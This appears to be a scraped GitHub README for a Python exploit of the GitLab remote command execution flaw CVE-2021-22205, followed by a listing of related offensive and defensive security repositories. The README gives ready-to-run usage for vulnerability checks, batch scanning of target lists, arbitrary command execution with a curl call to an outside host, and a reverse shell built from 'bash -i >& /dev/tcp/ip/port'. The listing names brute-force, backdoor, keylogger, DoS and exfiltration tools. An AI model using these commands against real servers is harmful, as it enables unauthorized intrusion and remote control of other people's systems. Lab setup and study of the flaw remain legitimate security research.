CVE-2021-22205& GitLab CE/EE RCE

Overview

Vuln Impact

An issue has been discovered in GitLab CE/EE affecting all versions starting from 11.9. GitLab was not properly validating image files that were passed to a file parser which resulted in a remote command execution.

Vuln Product

  • Gitlab CE/EE < 13.10.3
  • Gitlab CE/EE < 13.9.6
  • Gitlab CE/EE < 13.8.8

Environment

export GITLAB_HOME=/srv/gitlab

sudo docker run --detach \
  --hostname gitlab.example.com \
  --publish 443:443 --publish 80:80 \
  --name gitlab \
  --restart always \
  --volume $GITLAB_HOME/config:/etc/gitlab \
  --volume $GITLAB_HOME/logs:/var/log/gitlab \
  --volume $GITLAB_HOME/data:/var/opt/gitlab \
  gitlab/gitlab-ce:13.9.1-ce.0

Vunl Check

Basic usage
python3 CVE-2021-2205.py

img

Vuln check
python3 CVE-2021-2205.py -v true -t http://gitlab.example.com

img

command execute
python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "curl http://192.168.59.1:1234/1.txt"

attack

python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "echo 'Attacked by Al1ex!!!' > /tmp/1.txt"

attack_command1

attack_command2

batch scan
python3 CVE-2021-2205.py -s true -f target.txt

scan_result

Reserve Shell
python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "echo 'bash -i >& /dev/tcp/ip/port 0>&1' > /tmp/1.sh"

reverse_shell1

reverse_shell2

python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "chmod +x /tmp/1.sh"

reverse_shell3

reverse_shell4

python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "/bin/bahs /tmp/1.sh"

reverse_shell5

Reference

https://github.com/mr-r3bot/Gitlab-CVE-2021-22205

https://devcraft.io/2021/05/04/exiftool-arbitrary-code-execution-cve-2021-22204.html

Owner
Al1ex
Al1ex
PoC for CVE-2021-26855 -Just a checker-

CVE-2021-26855 PoC for CVE-2021-26855 -Just a checker- Usage python3 CVE-2021-26855.py -u https://mail.example.com -c example.burpcollaborator.net # C

Abdullah AlZahrani 17 Dec 22, 2022
Multi Brute Force Facebook - Crack Facebook With Login - Free For Now

✭ SAKERA CRACK Made With ❤️ By Denventa, Araya, Dapunta Author: - Denventa - Araya Dev - Dapunta Khurayra X ⇨ Fitur Login [✯] Login Cookies ⇨ Ins

Dapunta ID 26 Jan 01, 2023
Windows Stack Based Auto Buffer Overflow Exploiter

Autoflow - Windows Stack Based Auto Buffer Overflow Exploiter Autoflow is a tool that exploits windows stack based buffer overflow automatically.

Himanshu Shukla 19 Dec 22, 2022
CloakifyFactory & the Cloakify Toolset - Data Exfiltration & Infiltration In Plain Sight;

CloakifyFactory CloakifyFactory & the Cloakify Toolset - Data Exfiltration & Infiltration In Plain Sight; Evade DLP/MLS Devices; Social Engineering of

3 Oct 18, 2022
Burp Extensions

Burp Extensions This is a collection of extensions to Burp Suite that I have written. getAllParams.py - Version 1.2 This is a python extension that ru

/XNL-h4ck3r 364 Dec 30, 2022
Blinder is a tool that will help you simplify the exploitation of blind SQL injection

Blinder Have you found a blind SQL injection? Great! Now you need to export it, but are you too lazy to sort through the values? Most likely,

10 Dec 06, 2022
DoSer.py - Simple DoSer in Python

DoSer.py - Simple DoSer in Python What is DoSer? DoSer is basically an HTTP Denial of Service attack that affects threaded servers. It works like this

1 Oct 12, 2021
POC for detecting the Log4Shell (Log4J RCE) vulnerability

Interactsh An OOB interaction gathering server and client library Features • Usage • Interactsh Client • Interactsh Server • Interactsh Integration •

ProjectDiscovery 2.1k Jan 08, 2023
Log4j minecraft with python

log4jminecraft This code DOES NOT promote or encourage any illegal activities! The content in this document is provided solely for educational purpose

David Bombal 154 Dec 24, 2022
Python Toolkit containing different Cyber Attacks Tools

Helikopter Python Toolkit containing different Cyber Attacks Tools. Tools in Helikopter Toolkit 1. FattyNigger (PYTHON WORM) 2. Taxes (PYTHON PASS EXT

Saqlain Naqvi 22 Dec 04, 2022
Simple Python 3 script to detect the "Log4j" Java library vulnerability (CVE-2021-44228) for a list of URL with multithreading

log4j-detect Simple Python 3 script to detect the "Log4j" Java library vulnerability (CVE-2021-44228) for a list of URL with multithreading The script

Wade 1 Dec 15, 2021
the swiss army knife in the hash field. fast, reliable and easy to use

hexxus Hexxus is a fast hash cracking tool which checks more than 30 thousand passwords in under 4 seconds and can crack the following types bcrypt sh

enigma146 17 Apr 05, 2022
This is an advanced backdoor, created with Python

Backdoor This is a Backdoor, created with Python 3. Types of Commands: Downloading / Uploading files. Launching / Deleting / Reading file's content. S

swagkarna 28 Oct 28, 2022
大宝剑-信息收集和资产梳理工具(红队、蓝队、企业组织架构、子域名、Web资产梳理、Web指纹识别、ICON_Hash资产匹配)

大宝剑-信息收集和资产梳理工具(红队、蓝队、企业组织架构、子域名、Web资产梳理、Web指纹识别、ICON_Hash资产匹配)

Wolf Group Security Team 835 Jan 05, 2023
pwncat module that automatically exploits CVE-2021-4034 (pwnkit)

pwncat_pwnkit Introduction The purpose of this module is to attempt to exploit CVE-2021-4034 (pwnkit) on a target when using pwncat. There is no need

Dana Epp 33 Jul 01, 2022
Find vulnerable Log4j2 versions on disk and also inside Java Archive Files (Log4Shell CVE-2021-44228)

log4j-finder A Python3 script to scan the filesystem to find Log4j2 that is vulnerable to Log4Shell (CVE-2021-44228) It scans recursively both on disk

Fox-IT 431 Dec 22, 2022
A piece of software that shows a traceroute of a URL redirect path

Tracing URL redirects has never been easier! Usage • Download 🚩 Use Cases To see where an affiliate link ends up To see what affiliate network is bei

41 Nov 22, 2022
A small script to export all AWAF policies from a BIG-IP device

This script leverages BIG-IP iControl REST API to export ALL AWAF policies in the system and saves them locally. The policies can be exported in the following formats: xml, plc and json.

3 Feb 03, 2022
Easily retargetable and hackable interactive disassembler with IDAPython-compatible plugin API

ScratchABit is an interactive incremental disassembler with data/control flow analysis capabilities. ScratchABit is dedicated to the effor

Paul Sokolovsky 380 Dec 28, 2022
Keystroke logging, often referred to as keylogging or keyboard capturing

Keystroke logging, often referred to as keylogging or keyboard capturing, is the action of recording the keys struck on a keyboard, typically covertly, so that a person using the keyboard is unaware

Harsha G 2 Jan 11, 2022